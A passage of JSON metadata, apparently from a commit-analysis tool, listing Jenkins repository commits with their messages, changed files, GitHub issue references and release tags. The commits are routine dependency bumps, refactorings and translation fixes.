"matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8960", - "relevance": 2 - } - ] - }, - { - "commit_id": "13c86eeaf6354ea4f1b83e59752b43b4be200d2a", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1709668875, - "hunks": 51, - "message": "`Nodes` persistence cleanup, APIs to control loading (#8979) Co-authored-by: Vincent Latombe ", - "changed_files": [ - "core/src/main/java/hudson/model/Node.java", - "core/src/main/java/jenkins/model/Jenkins.java", - "core/src/main/java/jenkins/model/NodeListener.java", - "core/src/main/java/jenkins/model/Nodes.java" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8979": "Simplified NodeContributor.record on updated jenkinsci/matrix-auth-plugin#158 Bump org.jenkins-ci.plugins:matrix-auth from 3.2.1 to 3.2.2 in /bom-weekly jenkinsci/bom#2998 Follow-up fixes to Nodes refactoring #9053" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8979", - "relevance": 2 - } - ] - }, - { - "commit_id": "50f675f6e7a255e743066311c3acb7b35e59d008", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1709470699, - "hunks": 5, - "message": "Update Messages_es.properties, minor fixes in spanish translations (#9005) Some corrections in spanish translations", - "changed_files": [ - "core/src/main/resources/hudson/model/Messages_es.properties" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "9005": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 9005", - "relevance": 2 - } - ] - }, - { - "commit_id": "3bfef8dacd083d542118e7795a372e775fff1831", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1709470677, - "hunks": 0, - "message": "Merge pull request #8998 from basil/compress Upgrade `org.apache.commons:commons-compress` from 1.25.0 to 1.26.0 on `stable-2.440`", - "changed_files": [], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8998": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8998", - "relevance": 2 - } - ] - }, - { - "commit_id": "e82487f257bd79fe96a6f0911dbf0410d3aceb51", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1709458480, - "hunks": 1, - "message": "Use `ABORTED` from `Run.reload` (#8986)", - "changed_files": [ - "core/src/main/java/hudson/model/Run.java" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8986": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8986", - "relevance": 2 - } - ] - }, - { - "commit_id": "699f22167c01977d996fe56dee240e9bf1b2cbc2", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1709455935, - "hunks": 4, - "message": "Update dependency postcss-loader to v8.1.1 (#9010) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "9010": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 9010", - "relevance": 2 - } - ] - }, - { - "commit_id": "97b07c05d9ed431e4ec1ec714bfc79cc7532d91b", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1709395217, - "hunks": 1, - "message": "Bump org.jenkins-ci.plugins:credentials from 1319.v7eb_51b_3a_c97b_ to 1337.v60b_d7b_c7b_c9f (#9007) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", - "changed_files": [ - "test/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "9007": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 9007", - "relevance": 2 - } - ] - }, - { - "commit_id": "98bd62d5ad4934fdf74899d9ebbda1f221ce4960", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1709395173, - "hunks": 25, - "message": "Update babel monorepo to v7.24.0 (#9011) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "9011": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 9011", - "relevance": 2 - } - ] - }, - { - "commit_id": "b8e916a5367d41b0702f4efa9725ae5d1d6a9f7c", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1709375803, - "hunks": 5, - "message": "Further reduce usages of `StringUtils` (#9002)", - "changed_files": [ - "core/src/main/java/hudson/model/Descriptor.java", - "core/src/main/java/hudson/util/FormValidation.java" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "9002": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 9002", - "relevance": 2 - } - ] - }, - { - "commit_id": "db29f34460ed211484a331595986fe626cf2dce7", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1709331496, - "hunks": 1, - "message": "Stop shipping `commons-lang3` (#8997)", - "changed_files": [ - "core/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8997": "Upgrade org.apache.commons:commons-compress from 1.25.0 to 1.26.0 on stable-2.440 #8998 Make commons-lang3 optional apache/commons-compress#489 deps: use commons-lang3 replace commons-lang #8996 Bump org.apache.commons:commons-compress from 1.26.1 to 1.26.2 #9307 Ban library plugins #9332 Update dependency org.apache.commons:commons-compress to v1.26.2 - autoclosed #9575" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8997", - "relevance": 2 - } - ] - }, - { - "commit_id": "aff37148c36dde873f53315cdd6629a47cf60bf0", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1709331470, - "hunks": 4, - "message": "Remove usages of `StringUtils#join` (#9003)", - "changed_files": [ - "core/src/main/resources/hudson/tasks/ArtifactArchiver/help-defaultExcludes.groovy", - "core/src/main/resources/hudson/tasks/Fingerprinter/help-defaultExcludes.groovy" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "9003": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 9003", - "relevance": 2 - } - ] - }, - { - "commit_id": "bf82c475b7c76feec262b80404ea9177f356096c", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1709316868, - "hunks": 2, - "message": "Bump io.jenkins.plugins:plugin-util-api from 3.8.0 to 4.1.0 (#8988) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", - "changed_files": [ - "test/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8988": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8988", - "relevance": 2 - } - ] - }, - { - "commit_id": "19f0140adef29e86d150faa056a22ceb011c8b03", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1709247548, - "hunks": 1, - "message": "Bump com.puppycrawl.tools:checkstyle from 10.13.0 to 10.14.0 (#9000) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", - "changed_files": [ - "pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "9000": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 9000", - "relevance": 2 - } - ] - }, - { - "commit_id": "20263d06d445ead5b551ca08c946671a997a5f30", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1709155257, - "hunks": 2, - "message": "Move `CloudList.setOwner` call from `Jenkins.loadTasks` to `load` (#8976) Co-authored-by: Vincent Latombe ", - "changed_files": [ - "core/src/main/java/jenkins/model/Jenkins.java" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8976": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8976", - "relevance": 2 - } - ] - }, - { - "commit_id": "20696027875464226901df6549776465e680f427", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1709069072, - "hunks": 7, - "message": "Update dependency eslint to v8.57.0 (#8994) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8994": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8994", - "relevance": 2 - } - ] - }, - { - "commit_id": "9412faf5ccbbf19990bd0d04a9e13c3b98284486", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1708967751, - "hunks": 4, - "message": "Update dependency sass to v1.71.1 (#8991) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8991": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8991", - "relevance": 2 - } - ] - }, - { - "commit_id": "64607784f87e40352a2d31591d6c57f07ca70a31", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1708756473, - "hunks": 6, - "message": "[JENKINS-60866][JENKINS-71513] Apply Stapler update for CSP-compliant st:bind and renderOnDemand (#6865) * [JENKINS-60866] Apply Stapler update for CSP-compliant st:bind * [JENKINS-60866] Make renderOnDemand CSP-compliant * Thanks Spotless * Make Stapler incrementals work * Update Stapler to new incremental * Fixup bad merge * Update Stapler, add test demonstrating st:bind working * Address review feedback * Add test for null bind, update Stapler * Checkstyle * More tests * Use released Stapler --------- Co-authored-by: Daniel Beck Co-authored-by: Basil Crow ", - "changed_files": [ - "bom/pom.xml", - "core/src/main/java/hudson/Functions.java", - "core/src/main/resources/lib/layout/renderOnDemand.jelly", - "war/src/main/webapp/scripts/hudson-behavior.js" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "6865": "[JENKINS-60866] Extract inline JS from progressive rendering #6860 [JENKINS-60866] Add initial guidelines how to make code compatible with CSP jenkins-infra/jenkins.io#5301 [JENKINS-60866] Make st:bind tag and JavaScript proxy work without inline JS jenkinsci/stapler#385 stapler:bind is creating inline javascript jenkinsci/stapler#457 Bump stapler.version from 1822.v120278426e1c to 1839.ved17667b_a_eb_5 #8962 Test history refactoring and improvements jenkinsci/junit-plugin#625" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 6865", - "relevance": 2 - } - ] - }, - { - "commit_id": "0d9fe471a3fdfcdfc76d0e6189b095c9c4dde207", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1708756368, - "hunks": 1, - "message": "Bump roots/discourse-topic-github-release-action from 1.0.0 to 1.0.1 (#8982) Bumps [roots/discourse-topic-github-release-action](https://github.com/roots/discourse-topic-github-release-action) from 1.0.0 to 1.0.1. - [Release notes](https://github.com/roots/discourse-topic-github-release-action/releases) - [Commits](https://github.com/roots/discourse-topic-github-release-action/compare/fc9e50fa1a1ce6255ba4d03f104382845b79ad5f...c30dc233349b7c6f24f52fb1c659cc64f13b5474) --- updated-dependencies: - dependency-name: roots/discourse-topic-github-release-action dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", - "changed_files": [ - ".github/workflows/announce-lts-rc.yml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8982": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8982", - "relevance": 2 - } - ] - }, - { - "commit_id": "f7fea8d891dccedd6b16391ade1bef95374e8207", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1708706183, - "hunks": 1, - "message": "Bump ip from 2.0.0 to 2.0.1 in /war (#8973) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", - "changed_files": [ - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8973": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8973", - "relevance": 2 - } - ] - }, - { - "commit_id": "981ebd4328651bb86fe333400c7d213205b4dd74", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1708688722, - "hunks": 160, - "message": "Update dependency postcss-preset-env to v9.4.0 (#8983) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8983": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - 